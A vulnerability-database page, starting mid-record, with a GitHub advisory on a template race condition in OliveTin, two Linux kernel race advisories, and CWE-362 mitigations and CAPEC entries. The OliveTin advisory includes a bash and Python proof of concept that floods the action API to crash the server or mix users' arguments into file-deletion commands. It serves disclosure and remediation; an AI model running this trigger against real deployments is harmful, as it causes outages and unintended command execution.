  "details": "## Summary\n\nOliveTin\u0027s template engine uses a **single shared `text/template.Template` instance** (`tpl` package-level variable in `service/internal/tpl/templates.go`) across all goroutines. Every action execution calls `tpl.Parse(source)` followed by `t.Execute()` on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case \u2014 each `ExecRequest` spawns a goroutine), a race condition occurs: one goroutine\u0027s `Parse` overwrites the template tree while another goroutine is calling `Execute`, causing:\n\n1. **Cross-user command contamination**: User A\u0027s arguments rendered in User B\u0027s shell command template\n2. **Go runtime panic**: Concurrent map writes in Go\u0027s `text/template` internal structures cause a fatal crash\n3. **Incorrect command execution**: Template/argument mismatch produces unexpected or dangerous shell commands\n\n## CWE\n\n- CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)\n- CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)\n\n## Affected Versions\n\n- All versions (the shared template has existed since the template system was introduced)\n\n## Details\n\n### The Shared Template Instance\n\nIn `service/internal/tpl/templates.go`:\n\n```go\nvar tpl = template.New(\"tpl\").\n    Option(\"missingkey=error\").\n    Funcs(template.FuncMap{\"Json\": jsonFunc})\n```\n\nThis is a **package-level variable** \u2014 a single `*template.Template` shared across the entire process.\n\n### Unsafe Parse + Execute Pattern\n\nThe `parseTemplate` function is called for every template rendering:\n\n```go\nfunc parseTemplate(source string, data any) (string, error) {\n    t, err := tpl.Parse(source)   // Modifies shared tpl\u0027s internal Tree\n    if err != nil {\n        return \"\", err\n    }\n\n    var sb strings.Builder\n    err = t.Execute(\u0026sb, data)    // Reads from tpl\u0027s internal Tree\n    // ...\n}\n```\n\n**Critical**: `tpl.Parse(source)` returns the same pointer as `tpl` (Go\u0027s `template.Parse` modifies the receiver and returns it). So `t` and `tpl` are the **same object**. When two goroutines call `parseTemplate` concurrently:\n\n```\nGoroutine A (Action \"echo {{ .Arguments.name }}\"):\n  1. tpl.Parse(\"echo {{ .Arguments.name }}\")     \u2192 sets tpl.Tree = TreeA\n  2. t.Execute(\u0026sb, {Arguments: {\"name\": \"safe\"}}) \u2192 walks TreeA\n\nGoroutine B (Action \"rm -rf {{ .Arguments.path }}\"):\n  1. tpl.Parse(\"rm -rf {{ .Arguments.path }}\")   \u2192 sets tpl.Tree = TreeB\n  2. t.Execute(\u0026sb, {Arguments: {\"path\": \"/tmp\"}}) \u2192 walks TreeB\n```\n\nIf the goroutines interleave:\n```\n  A.Parse(TreeA) \u2192 B.Parse(TreeB) \u2192 A.Execute(dataA) \u2192 executes TreeB with dataA!\n```\n\nGoroutine A would execute `rm -rf {{ .Arguments.path }}` with `dataA` \u2014 which either errors (missing key) or, if `dataA` happens to have a `path` argument, executes with an unintended value.\n\n### No Synchronization Exists\n\nA search for any synchronization primitives in the `tpl` package confirms **zero mutex, lock, or atomic operations**:\n\n```\n$ grep -r \"sync\\.\\|Mutex\\|Lock\\|mutex\" service/internal/tpl/\n(no results)\n```\n\n### Concurrent Goroutine Confirmation\n\nIn `service/internal/executor/executor.go`, `ExecRequest` launches each action in a new goroutine:\n\n```go\nfunc (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {\n    // ...\n    go func() {\n        e.execChain(req)    // Calls stepParseArgs \u2192 ParseTemplateWithActionContext \u2192 parseTemplate\n        defer wg.Done()\n    }()\n    return wg, req.TrackingID\n}\n```\n\nThe execution chain includes `stepParseArgs`, which calls `ParseTemplateWithActionContext`, which calls `parseTemplate`. Multiple concurrent action executions will race on the shared `tpl` variable.\n\n### Go Runtime Crash Vector\n\nGo\u0027s `text/template.Parse` internally modifies the template\u0027s `common` struct, which contains a `tmpl map[string]*Template`. In Go, concurrent map writes cause an **unrecoverable fatal error**:\n\n```\nfatal error: concurrent map writes\ngoroutine X [running]:\nruntime.throw(...)\n```\n\nThis is not a panic that can be recovered \u2014 it terminates the entire process. Two concurrent `Parse` calls can trigger this, crashing OliveTin.\n\n### Template Contamination Vector\n\nEven without a crash, the race can produce dangerous results:\n\n1. **User A** triggers action: `shell: \"echo Hello {{ .Arguments.name }}\"` with `name=Alice`\n2. **User B** triggers action: `shell: \"sudo systemctl restart {{ .Arguments.service }}\"` with `service=nginx`\n3. Race occurs: User A\u0027s `Execute` runs on User B\u0027s parsed template\n4. If User A\u0027s arguments contain a `service` key, that value is substituted into `sudo systemctl restart {{ .Arguments.service }}`\n5. If User A\u0027s arguments do NOT contain `service`, `missingkey=error` causes an error \u2014 but only AFTER the template was already partially evaluated\n\n### Call Chain\n\n```\nAPI Request \u2192 ExecRequest (goroutine) \u2192 execChain \u2192 stepParseArgs\n  \u2192 ParseTemplateWithActionContext \u2192 parseTemplate \u2192 tpl.Parse(source) + t.Execute(data)\n                                                      \u2191 RACE CONDITION \u2191\n                                                  (shared tpl variable)\n```\n\n## PoC\n\n### Prerequisites\n\n- OliveTin instance with at least 2 configured actions\n- Ability to trigger concurrent action executions\n\n### Config\n\n```yaml\nlistenAddressSingleHTTPFrontend: 0.0.0.0:1337\nlogLevel: \"DEBUG\"\ncheckForUpdates: false\n\nactions:\n  - title: Safe Echo\n    id: safe-echo\n    shell: \"echo \u0027Hello {{ .Arguments.name }}\u0027\"\n    arguments:\n      - name: name\n        type: ascii\n\n  - title: File Delete\n    id: file-delete\n    shell: \"rm -f /tmp/{{ .Arguments.target }}\"\n    arguments:\n      - name: target\n        type: ascii_identifier\n```\n\n### Step 1: Trigger concurrent executions\n\n```bash\n#!/bin/bash\n# Fire 50 concurrent requests to maximize race window\nfor i in $(seq 1 50); do\n  curl -s -X POST http://127.0.0.1:1337/api/StartAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"bindingId\":\"safe-echo\",\"arguments\":[{\"name\":\"name\",\"value\":\"Alice\"}]}\u0027 \u0026\n\n  curl -s -X POST http://127.0.0.1:1337/api/StartAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"bindingId\":\"file-delete\",\"arguments\":[{\"name\":\"target\",\"value\":\"test\"}]}\u0027 \u0026\ndone\nwait\necho \"All requests sent\"\n```\n\n### Step 2: Check for crash\n\n```bash\n# If OliveTin crashed due to concurrent map writes:\ncurl -s http://127.0.0.1:1337/readyz\n# Expected: Connection refused (process crashed)\n```\n\n### Step 3: Check logs for contamination\n\n```bash\n# Look for mismatched template executions in the OliveTin logs\ngrep -E \"missingkey|Error executing template|concurrent\" /var/log/olivetin.log\n```\n\n### Python PoC \u2014 Race Trigger\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Template Race Condition \u2014 Cross-Request Contamination\n\nTriggers concurrent action executions to race on the shared\ntext/template instance in service/internal/tpl/templates.go.\n\nExpected outcomes:\n1. Go fatal error: concurrent map writes (process crash)\n2. Template error: map has no entry for key (cross-contamination detected)\n3. Silent contamination: arguments rendered in wrong template\n\"\"\"\n\nimport requests\nimport threading\nimport time\n\nTARGET = \"http://127.0.0.1:1337\"\nTHREADS = 20\nITERATIONS = 100\n\ncrash_detected = threading.Event()\nerrors_detected = []\n\ndef fire_action_a():\n    \"\"\"Trigger \u0027safe-echo\u0027 action repeatedly.\"\"\"\n    for _ in range(ITERATIONS):\n        if crash_detected.is_set():\n            break\n        try:\n            resp = requests.post(\n                f\"{TARGET}/api/StartAction\",\n                json={\n                    \"bindingId\": \"safe-echo\",\n                    \"arguments\": [{\"name\": \"name\", \"value\": \"Alice\"}]\n                },\n                headers={\"Content-Type\": \"application/json\"},\n                timeout=5\n            )\n            if resp.status_code != 200:\n                errors_detected.append(f\"Action A error: {resp.status_code} {resp.text}\")\n        except requests.exceptions.ConnectionError:\n            crash_detected.set()\n            errors_detected.append(\"CONNECTION REFUSED \u2014 Server likely crashed!\")\n            break\n        except Exception as e:\n            errors_detected.append(f\"Action A exception: {e}\")\n\ndef fire_action_b():\n    \"\"\"Trigger \u0027file-delete\u0027 action repeatedly.\"\"\"\n    for _ in range(ITERATIONS):\n        if crash_detected.is_set():\n            break\n        try:\n            resp = requests.post(\n                f\"{TARGET}/api/StartAction\",\n                json={\n                    \"bindingId\": \"file-delete\",\n                    \"arguments\": [{\"name\": \"target\", \"value\": \"test\"}]\n                },\n                headers={\"Content-Type\": \"application/json\"},\n                timeout=5\n            )\n            if resp.status_code != 200:\n                errors_detected.append(f\"Action B error: {resp.status_code} {resp.text}\")\n        except requests.exceptions.ConnectionError:\n            crash_detected.set()\n            errors_detected.append(\"CONNECTION REFUSED \u2014 Server likely crashed!\")\n            break\n        except Exception as e:\n            errors_detected.append(f\"Action B exception: {e}\")\n\nif __name__ == \"__main__\":\n    print(f\"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each\")\n    print(f\"[*] Target: {TARGET}\")\n\n    threads = []\n    for _ in range(THREADS):\n        threads.append(threading.Thread(target=fire_action_a))\n        threads.append(threading.Thread(target=fire_action_b))\n\n    start = time.time()\n    for t in threads:\n        t.start()\n    for t in threads:\n        t.join()\n    elapsed = time.time() - start\n\n    print(f\"\\n[*] Completed in {elapsed:.1f}s\")\n    print(f\"[*] Total requests: {THREADS * 2 * ITERATIONS}\")\n\n    if crash_detected.is_set():\n        print(\"[!] SERVER CRASH DETECTED \u2014 concurrent map write panic\")\n    if errors_detected:\n        print(f\"[!] {len(errors_detected)} errors detected:\")\n        for err in errors_detected[:10]:\n            print(f\"    - {err}\")\n    else:\n        print(\"[*] No errors detected (race window may not have been hit)\")\n        print(\"[*] Try increasing THREADS/ITERATIONS or checking server logs\")\n```\n\n### Go Race Detector Verification\n\nIf you can run OliveTin with Go\u0027s race detector enabled:\n\n```bash\ncd service\ngo run -race . \u0026\n# Then trigger concurrent requests \u2014 the race detector will confirm the data race\n```\n\nExpected output:\n```\nWARNING: DATA RACE\n  Write by goroutine X:\n    text/template.(*Template).Parse()\n    service/internal/tpl/templates.go:XX\n\n  Previous read by goroutine Y:\n    text/template.(*Template).Execute()\n    service/internal/tpl/templates.go:XX\n```\n\n## Impact\n\n- **Process Crash (DoS)**: Concurrent map writes in Go cause an unrecoverable `fatal error`, crashing the entire OliveTin service\n- **Cross-User Command Contamination**: User A\u0027s arguments may be rendered in User B\u0027s shell command template, potentially executing commands with wrong/dangerous arguments\n- **Privilege Escalation via Contamination**: If a low-privilege user\u0027s arguments contaminate a high-privilege action\u0027s template, the result could be unintended command execution\n- **Data Leakage**: Arguments (which may contain secrets like passwords) could be rendered in another user\u0027s action output\n\n## Remediation\n\n1. **Create a new template per parse call** instead of reusing the package-level singleton:\n   ```go\n   func parseTemplate(source string, data any) (string, error) {\n       t, err := template.New(\"\").\n           Option(\"missingkey=error\").\n           Funcs(template.FuncMap{\"Json\": jsonFunc}).\n           Parse(source)\n       if err != nil {\n           return \"\", err\n       }\n       var sb strings.Builder\n       err = t.Execute(\u0026sb, data)\n       // ...\n   }\n   ```\n\n2. **Alternative**: Use `template.Must(tpl.Clone())` to create a thread-safe copy per call:\n   ```go\n   func parseTemplate(source string, data any) (string, error) {\n       clone, _ := tpl.Clone()\n       t, err := clone.Parse(source)\n       // ...\n   }\n   ```\n\n3. **Alternative**: Add a mutex around `parseTemplate` (but this serializes all template rendering and hurts performance):\n   ```go\n   var tplMutex sync.Mutex\n   func parseTemplate(source string, data any) (string, error) {\n       tplMutex.Lock()\n       defer tplMutex.Unlock()\n       // ...\n   }\n   ```\n\n   Option 1 (new template per call) is the recommended fix \u2014 it\u0027s simple, safe, and has negligible performance impact.\n\n## Resources\n\n- Go `text/template` documentation: \"A Template\u0027s Parse method must not be called concurrently\"\n- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization\n- `service/internal/tpl/templates.go` \u2014 shared `tpl` variable and `parseTemplate` function\n- `service/internal/executor/executor.go` \u2014 `ExecRequest` goroutine launch (line ~524)",
  "id": "GHSA-7fq5-7wr8-rjwj",
  "modified": "2026-06-24T17:38:12Z",
  "published": "2026-06-24T17:38:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-7fq5-7wr8-rjwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/d74da9314005954dd49fa20dabf272247bc76519"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination"
}

GHSA-7FQW-QHGJ-3C8C

Vulnerability from github – Published: 2024-05-01 06:31 – Updated: 2024-06-16 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

netfilter: nf_tables: Fix potential data-race in __nft_obj_type_get()

nft_unregister_obj() can concurrent with __nft_obj_type_get(), and there is not any protection when iterate over nf_tables_objects list in __nft_obj_type_get(). Therefore, there is potential data-race of nf_tables_objects list entry.

Use list_for_each_entry_rcu() to iterate over nf_tables_objects list in __nft_obj_type_get(), and use rcu_read_lock() in the caller nft_obj_type_get() to protect the entire type query process.

Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-27019"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-01T06:15:20Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: Fix potential data-race in __nft_obj_type_get()\n\nnft_unregister_obj() can concurrent with __nft_obj_type_get(),\nand there is not any protection when iterate over nf_tables_objects\nlist in __nft_obj_type_get(). Therefore, there is potential data-race\nof nf_tables_objects list entry.\n\nUse list_for_each_entry_rcu() to iterate over nf_tables_objects\nlist in __nft_obj_type_get(), and use rcu_read_lock() in the caller\nnft_obj_type_get() to protect the entire type query process.",
  "id": "GHSA-7fqw-qhgj-3c8c",
  "modified": "2024-06-16T15:30:43Z",
  "published": "2024-05-01T06:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27019"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/379bf7257bc5f2a1b1ca8514e08a871b7bf6d920"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4ca946b19caf655a08d5e2266d4d5526025ebb73"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ad333578f736d56920e090d7db1f8dec891d815e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cade34279c2249eafe528564bd2e203e4ff15f88"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d78d867dcea69c328db30df665be5be7d0148484"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/df7c0fb8c2b9f9cac65659332581b19682a71349"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4EZ6PJW7VOZ224TD7N4JZNU6KV32ZJ53"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DAMSOZXJEPUOXW33WZYWCVAY7Z5S7OOY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCBZZEC7L7KTWWAS2NLJK6SO3IZIL4WW"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7FX7-755P-QMJJ

Vulnerability from github – Published: 2022-05-24 17:14 – Updated: 2022-10-07 18:15
VLAI
Details

KVM in the Linux kernel on Power8 processors has a conflicting use of HSTATE_HOST_R1 to store r1 state in kvmppc_hv_entry plus in kvmppc_{save,restore}_tm, leading to a stack corruption. Because of this, an attacker with the ability run code in kernel space of a guest VM can cause the host kernel to panic. There were two commits that, according to the reporter, introduced the vulnerability: f024ee098476 ("KVM: PPC: Book3S HV: Pull out TM state save/restore into separate procedures") 87a11bb6a7f7 ("KVM: PPC: Book3S HV: Work around XER[SO] bug in fake suspend mode") The former landed in 4.8, the latter in 4.17. This was fixed without realizing the impact in 4.18 with the following three commits, though it's believed the first is the only strictly necessary commit: 6f597c6b63b6 ("KVM: PPC: Book3S PR: Add guest MSR parameter for kvmppc_save_tm()/kvmppc_restore_tm()") 7b0e827c6970 ("KVM: PPC: Book3S HV: Factor fake-suspend handling out of kvmppc_save/restore_tm") 009c872a8bc4 ("KVM: PPC: Book3S PR: Move kvmppc_save_tm/kvmppc_restore_tm to separate file")

Severity
6.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-8834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-09T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "KVM in the Linux kernel on Power8 processors has a conflicting use of HSTATE_HOST_R1 to store r1 state in kvmppc_hv_entry plus in kvmppc_{save,restore}_tm, leading to a stack corruption. Because of this, an attacker with the ability run code in kernel space of a guest VM can cause the host kernel to panic. There were two commits that, according to the reporter, introduced the vulnerability: f024ee098476 (\"KVM: PPC: Book3S HV: Pull out TM state save/restore into separate procedures\") 87a11bb6a7f7 (\"KVM: PPC: Book3S HV: Work around XER[SO] bug in fake suspend mode\") The former landed in 4.8, the latter in 4.17. This was fixed without realizing the impact in 4.18 with the following three commits, though it\u0027s believed the first is the only strictly necessary commit: 6f597c6b63b6 (\"KVM: PPC: Book3S PR: Add guest MSR parameter for kvmppc_save_tm()/kvmppc_restore_tm()\") 7b0e827c6970 (\"KVM: PPC: Book3S HV: Factor fake-suspend handling out of kvmppc_save/restore_tm\") 009c872a8bc4 (\"KVM: PPC: Book3S PR: Move kvmppc_save_tm/kvmppc_restore_tm to separate file\")",
  "id": "GHSA-7fx7-755p-qmjj",
  "modified": "2022-10-07T18:15:44Z",
  "published": "2022-05-24T17:14:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8834"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1867717"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4318-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/usn/usn-4318-1"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2020/04/06/2"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00035.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Mitigation
Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Mitigation
Architecture and Design
  • Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
  • Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Mitigation
Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Mitigation
Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Mitigation
Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Mitigation
Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Mitigation
Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

CAPEC-26: Leveraging Race Conditions

The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.

CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.

← Back to the CWE list